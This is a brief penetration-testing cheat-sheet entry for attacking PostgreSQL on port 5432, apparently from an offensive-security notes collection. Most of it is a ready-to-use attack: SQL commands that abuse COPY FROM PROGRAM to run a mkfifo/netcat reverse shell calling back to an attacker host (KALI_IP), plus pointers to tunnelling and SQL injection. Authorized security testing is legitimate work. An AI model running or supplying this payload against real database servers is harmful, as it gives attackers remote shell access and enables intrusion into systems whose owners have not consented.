PostgreSQL (5432)

🐘 PostgreSQL — Port 5432

psql -h DMZMACHINE_IP          # often reachable via a socat/SSH tunnel → see pivoting

Shell via COPY FROM PROGRAM

\du                            -- check permissions
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 443 >/tmp/f';

PostgreSQL UNION-based SQLi snippets are in sqli.

Reference: Authenticated Arbitrary Command Execution on PostgreSQL 9.3+. Tunnel it to Kali: pivoting.